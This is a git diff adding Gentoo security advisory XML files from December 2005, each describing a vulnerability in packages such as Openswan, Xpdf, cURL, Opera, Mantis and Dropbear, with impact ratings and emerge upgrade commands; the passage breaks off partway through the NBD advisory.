+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-04">
+  <title>Openswan, IPsec-Tools: Vulnerabilities in ISAKMP Protocol implementation</title>
+  <synopsis>
+    Openswan and IPsec-Tools suffer from an implementation flaw which may allow
+    a Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">openswan ipsec-tools</product>
+  <announced>December 12, 2005</announced>
+  <revised>December 14, 2005: 02</revised>
+  <bug>112568</bug>
+  <bug>113201</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/openswan" auto="yes" arch="*">
+      <unaffected range="ge">2.4.4</unaffected>
+      <vulnerable range="lt">2.4.4</vulnerable>
+    </package>
+    <package name="net-firewall/ipsec-tools" auto="yes" arch="*">
+      <unaffected range="ge">0.6.3</unaffected>
+      <unaffected range="rge">0.6.2-r1</unaffected>
+      <unaffected range="rge">0.4-r2</unaffected>
+      <vulnerable range="lt">0.6.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Openswan is an implementation of IPsec for Linux. IPsec-Tools is a port
+    of KAME's implementation of the IPsec utilities, including racoon, an
+    Internet Key Exchange daemon. Internet Key Exchange version 1 (IKEv1),
+    a derivate of ISAKMP, is an important part of IPsec. IPsec is widely
+    used to secure exchange of packets at the IP layer and mostly used to
+    implement Virtual Private Networks (VPNs).
+    </p>
+  </background>
+  <description>
+    <p>
+    The Oulu University Secure Programming Group (OUSPG) discovered that
+    various ISAKMP implementations, including Openswan and racoon (included
+    in the IPsec-Tools package), behave in an anomalous way when they
+    receive and handle ISAKMP Phase 1 packets with invalid or abnormal
+    contents.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could craft specific packets that would result in a
+    Denial of Service attack, if Openswan and racoon are used in specific,
+    weak configurations.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Openswan users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openswan-2.4.4&quot;</code>
+    <p>
+    All IPsec-Tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-firewall/ipsec-tools</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3671">CVE-2005-3671</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3732">CVE-2005-3732</uri>
+    <uri link="http://www.ee.oulu.fi/research/ouspg/protos/testing/c09/isakmp/">Original Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 02 Dec 2005 12:39:46 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Dec 2005 03:24:10 +0000">
+    adir
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 05 Dec 2005 03:54:41 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-05.xml b/xml/htdocs/security/en/glsa/glsa-200512-05.xml
new file mode 100644
index 00000000..4782c742
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-05.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-05">
+  <title>Xmail: Privilege escalation through sendmail</title>
+  <synopsis>
+    The sendmail program in Xmail is vulnerable to a buffer overflow,
+    potentially resulting in local privilege escalation.
+  </synopsis>
+  <product type="ebuild">xmail</product>
+  <announced>December 14, 2005</announced>
+  <revised>December 14, 2005: 01</revised>
+  <bug>109381</bug>
+  <access>local</access>
+  <affected>
+    <package name="mail-mta/xmail" auto="yes" arch="*">
+      <unaffected range="ge">1.22</unaffected>
+      <vulnerable range="lt">1.22</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xmail is an Internet and intranet mail server.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDEFENSE reported that the AddressFromAtPtr function in the
+    sendmail program fails to check bounds on arguments passed from other
+    functions, and as a result an exploitable stack overflow condition
+    occurs when specifying the "-t" command line option.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker can make a malicious call to sendmail,
+    potentially resulting in code execution with elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/xmail-1.22&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2943">CVE-2005-2943</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=321&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Security Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Dec 2005 18:01:24 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Dec 2005 15:24:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Dec 2005 08:46:36 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-06.xml b/xml/htdocs/security/en/glsa/glsa-200512-06.xml
new file mode 100644
index 00000000..47bfd941
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-06.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-06">
+  <title>Ethereal: Buffer overflow in OSPF protocol dissector</title>
+  <synopsis>
+    Ethereal is missing bounds checking in the OSPF protocol dissector that
+    could lead to abnormal program termination or the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>December 14, 2005</announced>
+  <revised>December 14, 2005: 01</revised>
+  <bug>115030</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.13-r2</unaffected>
+      <vulnerable range="lt">0.10.13-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature-rich network protocol analyzer. It provides
+    protocol analyzers for various network flows, including one for Open
+    Shortest Path First (OSPF) Interior Gateway Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDEFENSE reported a possible overflow due to the lack of bounds
+    checking in the dissect_ospf_v3_address_prefix() function, part of the
+    OSPF protocol dissector.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to craft a malicious network flow that
+    would crash Ethereal. It may be possible, though unlikely, to exploit
+    this flaw to execute arbitrary code with the permissions of the user
+    running Ethereal, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ethereal-0.10.13-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3651">CVE-2005-3651</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=349&amp;type=vulnerabilities">iDEFENSE Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 12 Dec 2005 15:18:48 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 14 Dec 2005 12:23:23 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-07.xml b/xml/htdocs/security/en/glsa/glsa-200512-07.xml
new file mode 100644
index 00000000..cf0e8b5e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-07.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-07">
+  <title>OpenLDAP, Gauche: RUNPATH issues</title>
+  <synopsis>
+    OpenLDAP and Gauche suffer from RUNPATH issues that may allow users in the
+    "portage" group to escalate privileges.
+  </synopsis>
+  <product type="ebuild">OpenLDAP Gauche</product>
+  <announced>December 15, 2005</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>105380</bug>
+  <bug>112577</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-nds/openldap" auto="yes" arch="*">
+      <unaffected range="ge">2.2.28-r3</unaffected>
+      <unaffected range="rge">2.1.30-r6</unaffected>
+      <vulnerable range="lt">2.2.28-r3</vulnerable>
+    </package>
+    <package name="dev-scheme/gauche" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6-r1</unaffected>
+      <vulnerable range="lt">0.8.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenLDAP is a suite of LDAP-related application and development tools.
+    Gauche is an R5RS Scheme interpreter.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gentoo packaging for OpenLDAP and Gauche may introduce insecure paths
+    into the list of directories that are searched for libraries at
+    runtime.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local attacker, who is a member of the "portage" group, could create
+    a malicious shared object in the Portage temporary build directory that
+    would be loaded at runtime by a dependent binary, potentially resulting
+    in privilege escalation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Only grant "portage" group rights to trusted users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenLDAP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-nds/openldap</code>
+    <p>
+    All Gauche users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-scheme/gauche-0.8.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4442">CVE-2005-4442</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4443">CVE-2005-4443</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 14 Dec 2005 13:30:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 14 Dec 2005 13:31:28 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-08.xml b/xml/htdocs/security/en/glsa/glsa-200512-08.xml
new file mode 100644
index 00000000..0d86732f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-08.xml
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-08">
+  <title>Xpdf, GPdf, CUPS, Poppler: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Xpdf, GPdf, CUPS and
+    Poppler potentially resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xpdf, gpdf, poppler,cups</product>
+  <announced>December 16, 2005</announced>
+  <revised>December 17, 2005: 02</revised>
+  <bug>114428</bug>
+  <bug>115286</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/xpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.01-r2</unaffected>
+      <vulnerable range="lt">3.01-r2</vulnerable>
+    </package>
+    <package name="app-text/gpdf" auto="yes" arch="*">
+      <unaffected range="ge">2.10.0-r2</unaffected>
+      <vulnerable range="lt">2.10.0-r2</vulnerable>
+    </package>
+    <package name="app-text/poppler" auto="yes" arch="*">
+      <unaffected range="ge">0.4.2-r1</unaffected>
+      <unaffected range="rge">0.3.0-r1</unaffected>
+      <vulnerable range="lt">0.4.2-r1</vulnerable>
+    </package>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.1.23-r3</unaffected>
+      <vulnerable range="lt">1.1.23-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xpdf and GPdf are PDF file viewers that run under the X Window System.
+    Poppler is a PDF rendering library based on Xpdf code. The Common UNIX
+    Printing System (CUPS) is a cross-platform print spooler. It makes use
+    of Xpdf code to handle PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    infamous41md discovered that several Xpdf functions lack sufficient
+    boundary checking, resulting in multiple exploitable buffer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially-crafted PDF file
+    which would trigger an overflow, potentially resulting in execution of
+    arbitrary code with the rights of the user running Xpdf, CUPS, GPdf or
+    Poppler.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/xpdf-3.01-r2&quot;</code>
+    <p>
+    All GPdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/gpdf-2.10.0-r2&quot;</code>
+    <p>
+    All Poppler users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-text/poppler</code>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.1.23-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3191">CVE-2005-3191</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3192">CVE-2005-3192</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3193">CVE-2005-3193</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 08 Dec 2005 08:57:56 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 14 Dec 2005 12:15:58 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 15 Dec 2005 11:55:50 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-09.xml b/xml/htdocs/security/en/glsa/glsa-200512-09.xml
new file mode 100644
index 00000000..6480cabd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-09.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-09">
+  <title>cURL: Off-by-one errors in URL handling</title>
+  <synopsis>
+    cURL is vulnerable to local arbitrary code execution via buffer overflow
+    due to the insecure parsing of URLs.
+  </synopsis>
+  <product type="ebuild">cURL</product>
+  <announced>December 16, 2005</announced>
+  <revised>December 16, 2005: 01</revised>
+  <bug>114710</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/curl" auto="yes" arch="*">
+      <unaffected range="ge">7.15.1</unaffected>
+      <vulnerable range="lt">7.15.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cURL is a command line tool for transferring files with URL
+    syntax, supporting numerous protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser from the Hardened-PHP Project has reported a
+    vulnerability in cURL that allows for a local buffer overflow when cURL
+    attempts to parse specially crafted URLs. The URL can be specially
+    crafted in one of two ways: the URL could be malformed in a way that
+    prevents a terminating null byte from being added to either a hostname
+    or path buffer; or the URL could contain a "?" separator in the
+    hostname portion, which causes a "/" to be prepended to the resulting
+    string.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker capable of getting cURL to parse a maliciously crafted
+    URL could cause a denial of service or execute arbitrary code with the
+    privileges of the user making the call to cURL. An attacker could also
+    escape open_basedir or safe_mode pseudo-restrictions when exploiting
+    this problem from within a PHP program when PHP is compiled with
+    libcurl.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All cURL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/curl-7.15.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4077">CVE-2005-4077</uri>
+    <uri link="http://www.hardened-php.net/advisory_242005.109.html">Hardened-PHP Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 14 Dec 2005 13:39:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 14 Dec 2005 17:20:45 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 15 Dec 2005 11:37:18 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-10.xml b/xml/htdocs/security/en/glsa/glsa-200512-10.xml
new file mode 100644
index 00000000..6bbce4e9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-10.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-10">
+  <title>Opera: Command-line URL shell command injection</title>
+  <synopsis>
+    Lack of URL validation in Opera command-line wrapper could be abused to
+    execute arbitrary commands.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>December 18, 2005</announced>
+  <revised>December 18, 2005: 01</revised>
+  <bug>113239</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">8.51</unaffected>
+      <vulnerable range="lt">8.51</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Peter Zelezny discovered that the shell script used to launch
+    Opera parses shell commands that are enclosed within backticks in the
+    URL provided via the command line.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability by enticing a
+    user to follow a specially crafted URL from a tool that uses Opera to
+    open URLs, resulting in the execution of arbitrary commands on the
+    targeted machine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-8.51&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3750">CVE-2005-3750</uri>
+    <uri link="http://www.opera.com/docs/changelogs/linux/851/">Opera 8.51 Changelog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 15 Dec 2005 12:24:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 15 Dec 2005 12:24:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 16 Dec 2005 02:18:07 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-11.xml b/xml/htdocs/security/en/glsa/glsa-200512-11.xml
new file mode 100644
index 00000000..2606a2a2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-11.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-11">
+  <title>CenterICQ: Multiple vulnerabilities</title>
+  <synopsis>
+    CenterICQ is vulnerable to a Denial of Service issue, and also potentially
+    to the execution of arbitrary code through an included vulnerable ktools
+    library.
+  </synopsis>
+  <product type="ebuild">CenterICQ</product>
+  <announced>December 20, 2005</announced>
+  <revised>December 20, 2005: 01</revised>
+  <bug>100519</bug>
+  <bug>114038</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/centericq" auto="yes" arch="*">
+      <unaffected range="ge">4.21.0-r2</unaffected>
+      <vulnerable range="lt">4.21.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CenterICQ is a text-based instant messaging interface that
+    supports multiple protocols. It includes the ktools library, which
+    provides text-mode user interface controls.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gentoo developer Wernfried Haas discovered that when the "Enable
+    peer-to-peer communications" option is enabled, CenterICQ opens a port
+    that insufficiently validates whatever is sent to it. Furthermore,
+    Zone-H Research reported a buffer overflow in the ktools library.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause a crash of CenterICQ by sending
+    packets to the peer-to-peer communications port, and potentially cause
+    the execution of arbitrary code by enticing a CenterICQ user to edit
+    overly long contact details.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CenterICQ users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/centericq-4.21.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3694">CVE-2005-3694</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3863">CVE-2005-3863</uri>
+    <uri link="http://www.zone-h.org/en/advisories/read/id=8480/">Zone-H Research ZRCSA 200503</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 16 Dec 2005 12:39:29 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 17 Dec 2005 10:48:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 18 Dec 2005 11:38:58 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-12.xml b/xml/htdocs/security/en/glsa/glsa-200512-12.xml
new file mode 100644
index 00000000..30070e36
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-12.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-12">
+  <title>Mantis: Multiple vulnerabilities</title>
+  <synopsis>
+    Mantis is affected by multiple vulnerabilities ranging from file upload and
+    SQL injection to cross-site scripting and HTTP response splitting.
+  </synopsis>
+  <product type="ebuild">Mantis</product>
+  <announced>December 22, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>116036</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mantisbt" auto="yes" arch="*">
+      <unaffected range="ge">0.19.4</unaffected>
+      <vulnerable range="lt">0.19.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mantis is a web-based bugtracking system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tobias Klein discovered that Mantis contains several vulnerabilities,
+    including:
+    </p>
+    <ul>
+    <li>a file upload vulnerability.</li>
+    <li>an injection vulnerability in filters.</li>
+    <li>an SQL injection vulnerability in the user-management page.</li>
+    <li>a port cross-site-scripting vulnerability in filters.</li>
+    <li>an HTTP header CRLF injection vulnerability.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could possibly exploit the file upload vulnerability to
+    execute arbitrary script code, and the SQL injection vulnerability to
+    access or modify sensitive information from the Mantis database.
+    Furthermore, the cross-site scripting and HTTP response splitting may
+    allow an attacker to inject and execute malicious script code or to
+    steal cookie-based authentication credentials, potentially compromising
+    the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mantis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mantisbt-0.19.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mantisbt.org/changelog.php">Mantis ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4518">CVE-2005-4518</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4519">CVE-2005-4519</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4520">CVE-2005-4520</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4521">CVE-2005-4521</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4522">CVE-2005-4522</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 20 Dec 2005 11:13:27 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 20 Dec 2005 11:13:46 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-13.xml b/xml/htdocs/security/en/glsa/glsa-200512-13.xml
new file mode 100644
index 00000000..29c84163
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-13.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-13">
+  <title>Dropbear: Privilege escalation</title>
+  <synopsis>
+    A buffer overflow in Dropbear could allow authenticated users to execute
+    arbitrary code as the root user.
+  </synopsis>
+  <product type="ebuild">dropbear</product>
+  <announced>December 23, 2005</announced>
+  <revised>December 23, 2005: 01</revised>
+  <bug>116006</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/dropbear" auto="yes" arch="*">
+      <unaffected range="ge">0.47</unaffected>
+      <vulnerable range="lt">0.47</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dropbear is an SSH server and client with a small memory
+    footprint.
+    </p>
+  </background>
+  <description>
+    <p>
+    Under certain conditions Dropbear could fail to allocate a
+    sufficient amount of memory, possibly resulting in a buffer overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending specially crafted data to the server, authenticated
+    users could exploit this vulnerability to execute arbitrary code with
+    the permissions of the SSH server user, which is the root user by
+    default.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dropbear users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/dropbear-0.47&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4178">CVE-2005-4178</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 20 Dec 2005 11:10:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 20 Dec 2005 16:40:12 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 21 Dec 2005 10:00:54 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-14.xml b/xml/htdocs/security/en/glsa/glsa-200512-14.xml
new file mode 100644
index 00000000..08712ac4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-14.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-14">
+  <title>NBD Tools: Buffer overflow in NBD server</title>
+  <synopsis>
+    The NBD server is vulnerable to a buffer overflow that may result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">NBD</product>
+  <announced>December 23, 2005</announced>
